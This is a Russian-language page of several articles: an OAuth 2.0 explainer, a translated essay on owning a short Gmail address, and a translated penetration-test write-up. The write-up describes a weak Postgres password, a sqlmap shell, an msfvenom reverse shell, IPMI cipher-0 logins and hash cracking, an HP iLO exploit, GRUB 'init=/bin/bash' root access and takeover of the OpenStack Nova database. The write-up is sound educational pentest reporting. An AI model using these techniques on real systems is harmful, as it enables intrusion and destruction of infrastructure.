Способ регистрации клиента, например, ручной или service discovery, вы выбираете сами, в зависимости от фантазии конкретной реализации. Но при любом способе при регистрации, кроме ID клиента, должны быть обязательно указаны 2 параметра: redirection URI и client type.

Redirection URI адрес, на который отправится владелец ресурса после успешной авторизации. Кроме авторизации, адрес используется для подтверждения, что сервис, который обратился за авторизацией, тот, за кого себя выдаёт.

Client type тип клиента, от которого зависит способ взаимодействия с ним. Тип клиента определяется его возможностью безопасно хранить свои учётные данные для авторизации токен. Поэтому существует всего 2 типа клиентов:

  • Confidential клиент, который может безопасно хранить свои учётные данные. Например, к такому типу клиентов относят web-приложения, имеющие backend.
  • Public не может безопасно хранить свои учётные данные. Этот клиент работает на устройстве владельца ресурса, например, это браузерные или мобильные приложения.

Токены


Токен в OAuth 2.0 это строка, непрозрачная для клиента. Обычно строка выглядит как случайно сгенерированная её формат не имеет значения для клиента. Токен это ключ доступа к чему-либо, например, к защищённому ресурсу (access token) или к новому токену (refresh Token).

У каждого токена своё время жизни. Но у refresh token оно должно быть больше, т.к. он используется для получения access token. Например, если срок жизни access token около часа, то refresh token можно оставить жить на целую неделю.

Refresh token опционален и доступен только для confedential клиентов. Пользуясь опциональностью токена, в некоторых реализациях время жизни access token сделано очень большим, а refresh token вообще не используется, чтобы не заморачиваться с обновлением. Но это не безопасно. Если access token был скомпрометирован, его можно обнулить, а сервис получит новый Access token с помощью refresh token. В случае, если refresh token нет, то потребуется проходить процесс авторизации заново.

За access token закреплён определённый набор прав доступа, который выдаётся клиенту во время авторизации. Давайте разберёмся, как выглядят права доступа в OAuth 2.0.

Права доступа


Права доступа выдаются клиенту в виде scope. Scope это параметр, который состоит из разделённых пробелами строк scope-token.

Каждый из scope-token представляет определённые права, выдающиеся клиенту. Например, scope-token doc_read может предоставлять доступ на чтение к какому-то документу на resource server, а employee доступ к функционалу приложения только для работников фирмы. Итоговый scope может выглядеть так: email doc_read employee.

В OAuth 2.0 мы сами создаём scope-token, настраивая их под свои нужды. Имена scope-token ограничиваются только фантазией и двумя символами таблицы ASCII " и \.

На этапе регистрации клиента, в настройках сервиса авторизации клиенту выдаётся стандартный scope по умолчанию. Но клиент может запросить у сервера авторизации scope, отличный от стандартного. В зависимости от политик на сервере авторизации и выбора владельца ресурса, итоговый набор scope может выглядеть совсем иначе. В дальнейшем, после авторизации клиента, владелец ресурсов может отобрать часть прав без повторной авторизации сервиса, но, чтобы выдать дополнительные разрешения, потребуется повторная авторизация клиента.

Абстрактный OAuth 2.0. Flow c применением Access token


Мы рассмотрели роли, рассмотрели виды токенов, а также как выглядят scope. Посмотрим на flow предоставления доступа к сервису.

Ниже представлена абстрактная схема (или flow) взаимодействия между участниками. Все шаги на данной схеме выполняются строго сверху вниз. Разберём детальнее.



  • Client отправляет запрос на доступ к требуемому ресурсу resource owner.
  • Resource owner передаёт обратно клиенту authorization grant, который подтверждает личность resource owner и его права на ресурс, доступ к которому запрашивает client. В зависимости от flow это может быть токен или учётные данные.
  • Client отправляет authorization grant, полученный в предыдущем шаге authorization server, ожидая от него Access token для доступа к защищённому ресурсу.
  • authorization server убеждается в валидности authorization grant, после чего отсылает access token клиенту в ответ.
  • Получив access token, клиент запрашивает защищённый ресурс у resource server.
  • Resource server убеждается в корректности access token, после чего предоставляет доступ к защищённому ресурсу.

Клиент получает одобрение от resource owner, на основе которого ему выдаётся доступ к ресурсу. Всё просто. А будет ли так же просто, если мы добавим в эту схему работу с refresh token?

Абстрактный OAuth 2.0. Flow c применением Refresh token


Первый и второй шаги опущены из данной схемы они ничем не отличаются от схемы абстрактного flow выше.



Схема подробнее:

  • Client приходит c authorization grant к authorization server и просит предоставить ему access token и refresh token.
  • Authorization server убеждается, что с authorization grant всё нормально и возвращает клиенту запрошенные access token и refresh token.
  • Client с access token запрашивает защищённый ресурс, пока не получит первую ошибку доступа к ресурсу invalid token error.
  • После получения ошибки доступа, клиент идет к authorization server с refresh token и просит заменить просроченный access token на новый.
  • В ответ клиент получает новый access token, а также новый refresh token, либо продлевается время жизни старого refresh token.

Что такое grant?


Grant это данные, которые представляют из себя успешную авторизацию клиента владельцем ресурса, используемые клиентом для полученияaccess token.

Например, когда мы где-либо аутентифицируемся с помощью Google, перед глазами всплывает уведомление. В нём говорится, что такой-то сервис хочет получить доступ к данным о вас или к вашим ресурсам (выводятся запрашиваемые scope-token). Это уведомление называется Consent Screen.

В момент, когда нажимаем ОК, в базу данных попадает тот самый grant: записываются данные о том, что такой-то пользователь дал такие-то доступы такому-то сервису. Клиент получает какой-то идентификатор успешной аутентификации, например строку, которая ассоциируется с данными в базе данных.

Существует 4 + 1 способа получения grant grant type:

  • Authorization code используется для confedencial клиентов web-сервисов.
  • Client credentials используется для confedential клиентов, которые запрашивают доступ к своим ресурсам или ресурсам, заранее согласованным с сервером авторизации.
  • Implicit использовался public-клиентами, которые умеют работать с redirection URI (например, для браузерных и мобильных приложений), но был вытеснен authorization code grant с PKCE (Proof Key for Code Exchange дополнительная проверка, позволяющая убедиться, что token получит тот же сервис, что его и запрашивал. Прочитать подробнее RFC 7636).
  • Resource owner password credentials. В RFC 6819, посвящённому безопасности в OAuth 2.0, данный тип grant считается ненадёжным. Если раньше его разрешалось использовать только для миграции сервисов на OAuth 2.0, то в данный момент его не разрешено использовать совсем.
  • Device authorization (добавлен в RFC 8628) используется для авторизации устройств, которые могут не иметь веб-браузеров, но могут работать через интернет. Например, это консольные приложения, умные устройства или Smart TV.

Актуальными можно считать только authorization code (с PKCE), client credentials и device authorization grant, но мы рассмотрим все. Рассматривать grant будем в порядке возрастания сложности понимания.

Client credentials grant flow


Имеет самый простой flow, напоминающий обычную авторизацию на любом сервисе. Она выполняется с помощью учётных данных клиента, которые представляют собой client id и client secret аналог логина и пароля для пользователя. Так как для аутентификации требуется client secret, который должен соответствующе храниться, данный flow могут использовать только confedential клиенты.



Схема проста: клиент аутентифицируется на сервере авторизации передавая client id и client secret. В ответ получает access token, с которым уже может получить доступ к нужному сервису.

Этот flow требуется, когда клиент пытается получить доступ к своим ресурсам или ресурсам, заранее согласованным с сервером авторизации. Например, сервису А нужно время от времени ходить в сервис Б и актуализировать там данные о количестве пиццерий в сети.

Resource owner password credentials flow


По текущим рекомендациям безопасности описанных в данном RFC, данный flow не рекомендуется использовать вовсе из-за явных проблем с безопасностью.



Resource owner передаёт свой логин и пароль клиенту, например, через формы на клиенте. Клиент, в свою очередь, с помощью него получает access token (и, опционально, refresh token).

Здесь есть проблема. Resource owner просто берёт и отдаёт в открытом виде свой логин и пароль клиенту, что не безопасно. Изначально он был сделан только для клиентов, которым вы доверяете или тех, что являются частью операционной системы. Позже он был разрешён только для миграции с аутентификации по логину и паролю на OAuth 2.0. Текущие рекомендации по безопасности запрещают его использование.

Authorization code


Самый распространённый flow на данный момент. В основном используется для confidential клиентов, но с появлением дополнительной проверки с помощью PKCE, может применяться и для public-клиентов.

В данном flow взаимодействие client с resource owner проходит через user-agent (браузер). К user-agent есть одно требование: он должен уметь работать с HTTP-редиректами. Без этого resource owner не сможет попасть к серверу авторизации и вернуться обратно с grant.



Данный flow сложнее, чем предыдущие, поэтому будем разбирать по шагам. Для начала представим, что мы resource owner и перешли на страницу сервиса онлайн-обучения, который хочет сохранять результаты обучения к нам в облако. Ему требуется получить доступ к нашему ресурсу, например, определённой директории в облаке. Мы нажимаем на Авторизоваться и начинается путешествие по Authorization code grant flow:

  • На первом шаге клиент перенаправляет resource owner с помощью user-agent на страницу аутентификации Authorization server. В URI он указывает client ID и redirection URI. Redirection URI используется для понимания, куда вернуть resource owner после того, как авторизация пройдёт успешно (resource owner выдаст разрешение на scope, запрашиваемый клиентом).
  • Взаимодействуя с сервером авторизации через user-agent, resource owner проходит аутентификацию на сервере авторизации.
  • Resource owner проверяет права, которые запрашивает клиент на consent screen и разрешает их выдачу.
  • Resource owner возвращается клиенту с помощью user-agent обратно на URI, который был указан как redirection URI. В качестве query-параметра будет добавлен authorization code строка, подтверждающая то, что resource owner выдал необходимые права сервису.
  • С этим authorization code клиент отправляется на сервер авторизации, чтобы получить в ответ access token (ну и refresh token, если требуется).
  • Сервер авторизации валидирует authorization code, убеждаясь, что токен корректный и выдаёт клиенту access token (и опционально refresh token). С его помощью клиент сможет получить доступ к заветному ресурсу.

Если представить нас на месте resource owner, то мы видим просто перенаправление на сервер авторизации, аутентифицируемся, подтверждаем доступ на Consent screen и нас отправляет на уже работающий сервис. Например, мы проходим это много раз, когда заходим на сервис под учётной записью Google, Facebook или Apple.

Следующий flow построен на основе этого.

Implicit grant


Это оптимизация Authorization code grant flow для public-клиентов, которые умеют работать с redirection URI. Например, для браузерных приложений на JavaScript, или мобильных приложений. Требование к user-agent, с помощью которого взаимодействуют клиент и resource owner, сохраняется: он должен уметь работать с HTTP-редиректами.

Между authorization code и implicit есть основное отличие: вместо получения authorization code и access token по нему, мы сразу получаем access token после успешной авторизации resource owner. Кроме того, здесь не используется client secret из соображений безопасности приложение можно дизассемблировать и получить его. Подлинность проверяется только по redirection URI.



Многие шаги из данной схемы похожи на шаги из authorization code, но предлагаю их разобрать также подробно. Представим, что некое браузерное приложение хочет сохранять свои настройки в нашем Git-репозитории. Мы нажимаете Войти в GitHub и на этом этапе начинается работа Implicit flow:

  • Клиент с помощью user-agent и HTTP-редиректа перенаправляет resource owner на сервер авторизации. В параметрах запроса передает client ID и redirection URI, которые нужны для аутентификации клиента и последующего возврата resource owner обратно.
  • Resourse owner аутентифицируется, взаимодействуя через user-agent с сервером авторизации. Заодно подтверждает выдачу grant клиенту, с client ID которого он пришёл.
  • После подтверждения выдачи grant (нажатия allow на consent screen), user-agent возвращает resource owner на redirection URI. Кроме того, в URI fragment передаётся access token (URI fragment это то, что обычно идёт в URI после символа #).
  • Сам фрагмент сохраняется локально в user-agent. User-agent двигается дальше по redirection URI за web-страницей, которая нужна для получения access token и других необходимых данных из фрагмента. Она может находиться как на самом клиенте, так и на удалённом ресурсе, например, на CDN.
  • Web-ресурс возвращает web-страницу (может содержать в себе скрипт), которая может прочитать полностью redirection URI, в том числе и значение, указанное в фрагменте.
  • User-agent отрисовывает локально полученную страницу, включая исполнение скриптов, которые он получил от web-hosted client resource, которые получают access token.
  • Полученный access token user-agent просто передаёт клиенту.

Это сложный flow. Он мало используется в реальных сценариях. Но его всё ещё можно встретить в legacy-проектах.

Device authorization (RFC 8628)


С 2012 до 2019 появилось много умных устройств, на которых неудобно авторизоваться. Например, неудобно вводить сложный логин и пароль на телевизоре каждый раз при открытии ресурса. На некоторых устройствах это невозможно, например на серверных ОС без графического интерфейса. В августе 2019 этот flow появился как раз для таких сценариев.

Есть, как минимум, 3 требования к устройствам, чтобы работа с помощью Device authoraztion grant flow была возможна:

  • Устройство должно иметь возможность совершать исходящие HTTPS-запросы.
  • Устройство должно иметь возможность отображать URI и код пользователю.
  • Каждое авторизуемое устройство принадлежит resource owner, который для успешной авторизации должен иметь другое устройство с браузером, чтобы перейти по указанному URI и ввести указанный код.



Возможно, схема кажется сложной из-за обилия стрелок. Разберём её также пошагово, как и разбирали сложные flow до него.

Представим, что мы пытаемся авторизоваться на web-сервисе с помощью телевизора. Мы видим кнопку Авторизоваться как устройство и нажимаем. В этот момент начинается наш Device flow:

  • Телевизор делает запрос на сервер авторизации, передавая ему свой client ID.
  • Сервер авторизации убеждается, что такой клиент зарегистрирован и имеет соответствующий тип grant.
  • Если всё хорошо, то Authorization server возвращает device code, user code и verification URI. Device code это уникальный идентификатор устройства, которое авторизуется в системе.
  • Устройство отображает user code и verification URI владельцу этого устройства resource owner. Redirection URI может быть передан как строкой, так и с помощью QR-кода ограничений нет.
  • После того, как устройство отобразило user code и verification URI, оно начинает раз в некоторое время опрашивать сервер авторизации о её успешности.
  • Дальше в бой вступает resource owner. Он переходит по указанному verification URI, аутентифицируется и вводит user code, который он получил от устройства, подтверждая выдачу необходимых scope устройству. На этом действия от имени resource owner закончены.
  • Всё это время устройство (пункт 3) опрашивало сервер авторизации о её успешности. Устройство в очередной раз идёт к серверу авторизации со своим device code и client ID в надежде, что авторизация на этот раз прошла.
  • В этот раз, когда resource owner подтвердил передачу необходимых прав устройству, сервер авторизации возвращает в ответе на запрос access token (если предусмотрено настройками сервера и refresh token). И с помощью токена устройство уже может продолжать работу с ресурсом.

Несмотря на кажущуюся сложность со стрелочками, этот flow тоже достаточно прост. Если вам требуется взаимодействовать с устройствами (а у нас их много: трекер, касса, витрины и прочие устройства), то вам стоит использовать этот flow.

Вместо вывода


В этой статье я опустил много подробностей, чтобы максимально просто и доступно рассказать о самом важном. Например, типы запросов, как и в каком виде передавать параметры, какие символы допустимы в качестве значений для того.

Если хотите погрузиться в тематику детальнее, то рекомендую в RFC 6749 (для OAuth 2.0) и RFC 8628 (для Device Flow). Кроме того, следить за актуальными версиями RFC можно на ресурсе, посвящённому OAuth.

Если статья была полезна и захотите подробностей пишите в комментариях, и в следующих статьях расскажу о PKCE, о протоколе аутентификации OpenID Connect 1.0, о нашей реализации сервера аутентификации и многом другом.

Полезные ссылки:

Подробнее..

Перевод Радости обладания коротким емейл-адресом

22.09.2020 12:22:19 | Автор: admin
Если у вас есть короткий емейл-адрес у популярного емейл-провайдера, вы непременно будете получать горы спама, а также немало предупреждений о том, что разные случайные люди пытаются получить к нему доступ. Если имя вашего емейл-адреса короткое и достаточно привлекательное, из-за этой возни учётная запись перестаёт быть надёжной для повседневных коммуникаций, потому что важные письма будут погребены под горой остальных. Однако у этой ситуации есть и неожиданная сторона: случайные люди периодически используют ваш адрес так, как будто он принадлежит им, при этом частенько с достаточно чувствительными онлайн-сервисами.

Около 16 лет назад когда для получения новой учётной записи в Google нужно было, чтобы тебя пригласил существующий пользователь я смог обзавестись очень коротким емейл-адресом, который ещё никто не зарезервировал. Не буду указывать его здесь, поскольку это лишь увеличит гору спама и количество попыток взлома, скажу лишь, что он связан с компьютерным взломом.

Такие короткие имена учётных записей называют OG, что расшифровывается, как original gangster [или original gametag / прим. перев.]. Эти учётки ценятся достаточно высоко в определённых кругах, члены которых пытаются взломать их для личного пользования или перепродажи. Отсюда и постоянные напоминания.

Однако меня не перестаёт удивлять количество людей, считающих хорошей идеей указать мой емейл при регистрации в онлайн-сервисах. Моя учётка невольно подписана практически на все существующие сайты знакомств и порнографии. Этого, вероятно, следовало ожидать.

Что меня поражает, так это количество финансовых и иных чувствительных сервисов, к которым я мог бы получить доступ, будь я злоумышленником. У моего адреса есть учётные записи, которых я не собирался заводить, в таких сервисах, как H&R Block, Turbotax, TaxAct, iTunes, LastPass, Dashlane, MyPCBackup и Credit. Я уже потерял счёт количеству банков, провайдеров интернета и веб-хостингов, в которые я могу залогиниться.

Меня не устаёт поражать, какое количество других пользователей Gmail и других крупных вебмейл-провайдеров решили использовать мой адрес в качестве запасного, на случай, если они потеряют доступ к своему почтовому ящику. Почти наверняка они просто поленились и вбили название моего адреса, пришедшее им на ум, когда их спросили насчёт резервной почты видимо, не полностью понимая потенциальные проблемы такого подхода. Когда я проверял в последний раз, мой адрес был зарегистрирован в качестве запасного в десятке учёток на Yahoo, Microsoft и других Gmail-адресов и соответствующих им сервисов обмена файлами.

Если по какой-либо причине мне захочется заказать еду или доставку лекарств, мне пригодятся мои фантомные учётные записи в Chewy, Coupaw и Petco. Если сломаются какие-то компоненты гриля Weber, я обеспечен ими по гроб жизни. Письма от Weber, которые я периодически получаю, напоминают мне о статье, которую я много лет назад написал для The Washington Post о компаниях, отправляющих письма с адресов типа [companynamehere]@donotreply.com, не задумываясь о том, что такой домен кому-то может принадлежать. Некоторые поступали таким образом, часто с забавными результатами.

Вероятно, хорошо, что я не увлекаюсь компьютерными играми чрезмерно, поскольку невозможно перечислить количество учётных записей, связанных с играми (в т.ч. азартными), к которым я имею доступ через мою старую почту на Gmail.

Несколько лет подряд, до недавнего времени, я получал ежемесячные отчёты, предназначавшиеся пожилому мужчине из Индии, которого посетила гениальная идея использовать мою почту для работы со своими объёмными пенсионными накоплениями. К счастью, после того, как я с ним связался, он удалил мой адрес из своего профиля, хотя и не ответил на вопрос о том, как это могло произойти.

В конечном счёте я понял, что лучше не задавать таких вопросов. Многократно я тратил несколько минут, пытаясь понять, создавались ли емейл-адреса, использующие мой адрес в качестве резервного, людьми или какими-нибудь спам-ботами. И потом я отправлял им письма, если это были люди, с разъяснениями о том, почему это плохая идея, и с вопросами о том, что подвигло их на такие действия.

Возможно потому, что название моей почты на Gmail связано с хакерами, некоторые ответы оказывались достаточно неприятными. Несмотря на то, что к письму я прикладывал подробную инструкцию по тому, как исправить ситуацию, одна женщина из Флориды наорала на меня КАПС ЛОКОМ, заявив, что я пытаюсь её обмануть, и что её муж-полицейский скоро меня найдёт. Увы я до сих пор получаю уведомления каждый раз, когда она заходит в свою учётку на Yahoo.

Вероятно, по той же причине, по которой дама из Флориды приняла меня за злонамеренного хакера, на мой адрес постоянно приходят запросы от случайных людей, желающих нанять меня для взлома чужих учётных записей. На такие письма я тоже не отвечаю, хотя признаю, что иногда в процессе прокрастинации такое искушение появляется.

Потеря доступа к своему почтовому ящику приводит к кошмарному каскаду других проблем. Иметь запасной емейл, привязанный к ящику хорошая идея, но, очевидно, только если вы его тоже контролируете.

Что более важно, убедитесь, что пользуетесь наиболее безопасным вариантом многофакторной авторизации из всех, что предлагает ваш провайдер. Это могут быть одноразовые коды, отправляемые по почте, телефонные звонки, SMS или мобильное приложение, или более надёжная двухфакторная авторизация или 2FA (что-то, что у вас есть, и что-то, что вы знаете) ключи безопасности или пуш-уведомления.

Одноразовые коды, отправляемые по емейлу, SMS или через приложение, считаются менее надёжными с точки зрения безопасности, потому что их можно обойти с применением разнообразных и хорошо проработанных сценариев атаки, от подмены SIM до мобильных вирусов. Поэтому имеет смысл пользоваться наиболее надёжными вариантами многофакторной авторизации. Однако всё равно учтите, что даже если посещаемый вами сайт предлагает только SMS и/или телефонные звонки, это всё равно надёжнее, чем простой пароль, на который вы полагаетесь для защиты вашей учётной записи.

Возможно, вы отложили вопрос включения многофакторной авторизации в важных для вас учётках, и если это так, посетите сайт twofactorauth.org, чтобы узнать, можете ли вы усилить безопасность своих записей.

Как я уже отмечал в одной из предыдущих статей, "Включите многофакторную авторизацию до того, как за вас это сделают мошенники", люди, не пользующиеся преимуществами дополнительной защиты, могут обнаружить, что им гораздо сложнее будет восстановить доступ к своим данным, когда их учётную запись взломают поскольку воры всё чаще включают многофакторную авторизацию, привязывая учётку к устройству, которое они контролируют.
Подробнее..

Из песочницы Как плохо настроенная БД позволила захватить целое облако с 25 тысячами хостов

22.09.2020 12:22:19 | Автор: admin
Привет, Хабр!

Я не так давно в ИТ, но в последнее время увлёкся темой кибербезопасности. Особенно интересна профессия пентестера. Во время сёрфинга увидел классную статью How a badly configured DB allowed us to own an entire cloud of over 25K hosts от Security Shenanigans. Перевод обеих частей и предлагаю вашему вниманию.

Введение


Из этой статьи вы узнаете, как нам удалось выполнить прямое соединение sqlmap с базой данных с использованием BMC/IPMI для компрометации крупного клиента.

Предыстория


Пару лет назад наша команда получила задание: провести пентест инфраструктуры в сети Openstack.Он состоял из примерно 2000 физических серверов, на которых размещалось более 25 тысяч виртуальных машин. Работу мы начали в небольшой подсети, в которой было ограничение на объём исходящего трафика. После быстрого сканирования Nmap не удалось найти очевидные уязвимости, которыми можно было бы воспользоваться. Поэтому мы начали изучать доступные нам сервисы. Среди них мы обнаружили беззащитный сервер PostgreSQL, размещенный на сервере разработки.После создания настраиваемого списка слов с несколькими производными названия компании нам удалось пробраться в систему, используя относительно простые данные от учётной записи. Имя пользователя было Postgres, а пароль, допустим, admin.

Далее мы решили задействовать sqlmap. Этот инструмент был создан для использования SQL-инъекций, но он также может предоставить вам несколько вариантов при установке прямого подключения к базе данных (когда у вас есть данные учётки).Один из этих вариантов запуск командной оболочки для эксплуатируемой базы данных.



После тестирования шелла мы решили собрать нестандартный пэйлоад (полезную нагрузку), чтобы получить обратное подключение. Это позволило бы работать с большим комфортом.

Сборку пэйлоада мы выполняли с помощью msfvenom. Полезной нагрузкой в этом случае был обратный TCP-шелл для машины с Linux x64. На предыдущем изображении видно, что нам нужно было выбрать архитектуру БД.


Собираем полезную нагрузку с помощью msfvenom

Преимущество этого пэйлоада заключается в том, что с его помощью можно получить обратное подключение с помощью простого Netcat. Для большинства других полезных нагрузок требуется что-то вроде Metasploit (выбирать хэндлер exploit/multi/handler) для тех же самых задач.

После запуска полезной нагрузки с оболочкой sqlmap мы получили наше соединение с сервером.


Запуск пэйлоада


Получение обратного подключения и тестирование доступа

Использование BMC-устройств


Всякий раз, когда вы выполняете пентест инфраструктуры и компрометируете машину в новом сегменте сети, вам следует повторно выполнить сканирование, чтобы проверить, не появилось ли чего-нибудь нового. Эта БД позволила нам подключиться к облачной сети компании, включая большинство виртуальных машин и хостов. Мы очень обрадовались результатам нового сканирования, поскольку обнаружили несколько устройств BMC.


Одно из трёх BMC-устройств

BMC (Baseboard Management Controller, сервисный процессор) это преимущественное встроенное устройство, подключенное к основному серверу, которое обеспечивает внеполосный мониторинг и контроль. Работает независимо от центрального процессора, BIOS и операционной системы. Ошибки, возникающие в любом из этих элементов, не способны повлиять на его работу. Микроконтроллер имеет собственный процессор, память, сетевой интерфейс, поэтому доступен, даже если сам сервер выключен. Все крупные поставщики оборудования имеют специальные BMC для своих продуктов:

  • Dell DRAC
  • IBM IMM
  • HP iLO
  • Supermicro IPMI


Еще один термин, с которым вам необходимо ознакомиться, IPMI (Intelligent Platform Management Interface, интерфейс интеллектуального управления платформой), в основном представляет собой протокол, который вы используете для связи с этими устройствами. Его назначение мониторинг и управление железом сервера, независимо от операционной системы, даже в тех случаях, когда сервер выключен, но подключен к источнику питания.

Скажем так, IPMI на сегодняшний день является одним из самых небезопасных протоколов, которые вы можете найти. Чтобы дать вам представление, IPMI 2.0 разработан таким образом, что вы можете напрямую запрашивать пользовательский хэш с сервера на этапе аутентификации. Существует и другая уязвимость, когда вы запрашиваете авторизацию в режиме cipher 0, который позволит вам войти в систему с любым паролем.


Архитектура блока IPMI

BMC-устройства, которые вы можете обнаружить, Обычно слабо защищены, так как это тип укстройств, которые настраиваются один раз, на этапе сборки центра обработки данных, а затем используете лишь в тех случаях, когда сервер недоступен обычными средствами.

Мы смогли легко пройти аутентификацию на некоторых устройствах, на которых был включен cipher 0.


Здесь вы можете увидеть, как мы вошли в систему со случайным паролем. Обратите внимание на часть -C 0.


Успешный вход в устройство со случайным паролем


Информация о сети для устройства

Даже если на некоторых устройствах не включен cipher 0, у вас всё равно остаются другие способы входа в систему.Двумя наиболее известными являются либо использование учетных данных по умолчанию (которые системные администраторы обычно не пытаются изменить), либо использование уязвимости раскрытия хэшей (и последующий взлом хешей).Последнее пришлось сделать для большинства устройств.


Банальные пары логин/пароль по умолчанию для большинства пользователей


Список слов, содержащий хэши пользователей, которые мы запрашиваем у сервера


Раскрытие пользовательских хэшей с помощью metasploit


Сразу получаем данные о типовых хэшах

Перебрав все хеши, мы начали их взламывать.


Взлом первых хешей

Через пару минут мы получили доступ примерно к 600 BMC.


609 хэшей успешно взломаны

Была пара устройств HP ILO, которые мы не смогли взломать.К счастью для нас, в HP iLO 4, начиная с версий 1.00 до 2.50, также есть обход аутентификации.Это позволяет вам создать учетную запись администратора через переполнение буфера в HTTP-заголовке подключения, обрабатываемое веб-сервером.Эксплойт использует это для получения привилегированного доступа к остальному API, который, в свою очередь, даёт вам права на создание учётных записей.


Использование CVE-201712542

После этих шагов мы получили полный контроль над 90% BMC-устройств компании. Если вы читали об устройствах BMC, то теперь знаете, что они позволяют:

  • Мониторить
  • Перезагружать
  • Переустанавливать
  • KVM (виртуализировать)


подключённые устройства. Это здорово и всё такое, но они только имитируют физический доступ к серверу, вам всё равно нужно попасть внутрь. Да, вы можете похулиганить, выключив устройства, но мы думали, что этого недостаточно, поэтому продолжали копать.

Один из наиболее распространенных способов взлома оборудования, имеющего физический адрес, это его перезагрузка и управление автозапуском для рут шелла. Вы можете сделать это в Unix, Mac и Windows.

Трудность этого подхода заключается в том, что на каждом сервере обычно размещается около 2000 виртуальных хостов. Итак, нам нужно было найти неиспользуемый сервер. План состоял в том, чтобы выключить его (или только запустить, если он уже был отключен) и отредактировать автозапуск, чтобы предоставить нам root-доступ. После этого мы хотели взглянуть на конфигурацию, чтобы найти какие-либо ошибки/полезные данные, которые позволили бы нам скомпрометировать и другие серверы.

Openstack позволяет запрашивать локальную инфраструктуру и запрашивать определенные параметры. Одним из них является состояние виртуальной машины, которое в случае этой локальной компании было определено как доступность ВМ (белый/чёрный список для приёма трафика) + рабочее состояние (запущена/отключена).

Нам нужно было найти сервер из чёрного списка (рабочее состояние не имело значения), и мы нашли один не работающий из-за проблем с диском. К счастью, нам удалось загрузиться, но некоторые части файловой системы оказались в режиме только для чтения.


Запрос openstack о подходящем сервере для взлома

Как только мы его нашли, то вошли в систему по найденными ранее учётными данными.


Используем доступы, полученные ранее


Доступ к интерфейсу KVM

Интерфейс KVM имитирует прямое подключение к серверу через BMC.При загрузке вам нужно отредактировать автозагрузку Grub и добавить ro init = / bin / bash в соответствующую строку, чтобы загрузиться в рут-шелл.Обычно используется флаг чтения и записи (rw), но нам пришлось использовать флаг только для чтения (ro), чтобы предотвратить любые проблемы с неисправным диском.


Редактирование меню grub

После входа в систему мы изучили сетевые интерфейсы для проверки возможности подключения к серверу.Как видите, ifconfig показывает более 10 активных интерфейсов.



Потратив некоторое время на то, чтобы проанализировать структуру сети и понять, где мы находимся, мы начали изучать сервер.

Через пару минут мы нашли золотую середину с помощью bash_history (один из лучших источников ценнейшей информации, который вы можете найти на Linux-машине)


Учетные данные novadb в bash_history

Для тех, кто не знаком с архитектурой Openstack, Nova это управляющая БД, в которой хранится административная информация для всего облака, такая как сертификаты, квоты, имена экземпляров, метаданные и много другой важной информации.


Проверка учетных данных

После входа в систему мы проверили админский доступ, используя grants_MySQL.



Сделав это, мы можем посмотреть внутреннюю структуру NovaDB.


Таблицы в базе данных Novadb

Просматривая информацию о ВМ, мы могли увидеть около 34 тысяч устройств.Однако примерно треть из них была недоступна/не работала. Точное количество можно увидеть в строке запись float_ips.



Позвольте мне объяснить, почему эти данные из базы данных так важны.

Если вы хотите остановить работу всей компании, вы можете выключить каждый виртуальный сервер через интерфейс BMC. Они не будут работать, пока системные администраторы не включат всё обратно.

Вы можете написать собственное вредоносное ПО для заражения всех серверов, но массовое развертывание по каналам BMC непросто (помните, что нам нужно было запустить неиспользуемый сервер, чтобы отредактировать автозапуск Grub, прежде чем получить к нему доступ).

Однако с доступом к NovaDB вы можете просто повредить базу данных, и вся облачная среда перестанет работать.Даже если предположить, что системный администратор был достаточно сообразителен, чтобы немедленно взглянуть на БД, гораздо сложнее устранить неисправность поврежденной базы данных, чем отсутствующей.

А ещё системный администратор может понять, что что-то не так, и просто перезаписать всё с помощью самой последней резервной копии, верно?Мы тоже подумали об этом.Вот почему мы пошли дальше и скомпрометировали резервные копии.

Сначала мы попытались запросить основную базу данных с помощью чего-то вроде
SELECT * FROM information_schema.PROCESSLIST AS p WHERE p.COMMAND = 'Binlog Dump'; , но компания использовала собственное решение для резервного копирования, которое выполнялось нерегулярно и без использования схемы ведущий ведомый (master/slave).Поэтому мы продолжили сканирование соседних подсетей, просто чтобы найти базы данных резервного копирования, работающие на том же порту, что и главная.


Как нам удалось найти резервные копии

Мы проверили возможность использования имевшихся учётных данных и, конечно же, они подошли.


Проверка доступа к резервной копии

Имея собственные резервные копии, мы смогли доказать полную компрометацию инфраструктуры виртуализации, а также способ окончательного завершения операций за несколько минут.

Я всегда люблю заканчивать рецензию/отчет написанием возможных исправлений найденных проблем.При этом их было много, например:

  • Повторное использование учетных данных
  • Отсутствует сегментация сети
  • Банальнейшие пароли
  • Небезопасная структура резервного копирования
  • Устаревшая прошивка

Одним из критических моментов, который было нелегко исправить, были недостатки протокола IPMI.

Наиболее удачным решением будет размещение серверов с поддержкой BMC в другом сегменте сети с ограниченным и контролируемым списком IP-адресов. Вот так в итоге и поступила эта компания.

Я надеюсь, что вам понравилось наша история. Так же, как и нам было весело изучать эту тему.
Подробнее..

FinTech. А что защищать?

22.09.2020 14:11:12 | Автор: admin
Всем привет,

Минутка деанона, меня зовут Анатолий Маковецкий, я Security Team Lead в Exness.
Сразу извинюсь перед теми, кто ожидает увидеть технический write-up, здесь его не будет. Также в материале описаны настолько очевидные на первый взгляд вещи, что даже не факт, что они являются таковыми, но вы резонно можете меня спросить, как меня наняли и когда я уже перестану притворяться безопасником (ответ на картинке под катом) :).



Погнали.


Изображение: Telegram канал Information Security Memes (http://personeltest.ru/aways/t.me/infosecmemes)

Опыт моих предыдущих нескольких лет в профессии формировался в технологических компаниях, и, будучи специалистом по защите информации, я защищал информацию (кэп), хотя подождите, если разобраться, как принято у нас в отрасли, порой там была добрая примесь защиты систем, без большого реального различия, что же за информация в них содержится, насколько эти системы важны бизнесу, есть ли сейчас что-то более важное, да и прочих условностей.

Согласитесь, это же так классно в условиях отсутствия строгого менеджмента, выстроенных процессов, понятных приоритетов и иного счастья, скакать с системы на систему, находить красивые баги на поверхности или чуть глубже на основе чужих свежих ресерчей или собственного опыта, показывать впечатляющие пути их эксплуатации. Это реально позволяет выстроить диалог с другими ИТ-командами, заработать немного авторитета. Куда-то меня не туда понесло

Да, правильно, настоящая информационная безопасность зиждется на процессах, ISO, 27k в зубы и пошли выносить мозги ИТ и топ-менеджменту, все расскажем, все разложим, обоснуем и покажем, никто не поспорит, ведь, надо, только станут ли наши процессы в полях лучше от внедрения очередного стандарта?

На самом деле посыл в том, что нужно стараться перейти к корневой идее, к комплексной и сбалансированной защите ценных для бизнеса активов, а не к латочному ремонту безопасности, а то выглядеть это будет так:


Фото: s.66.ru

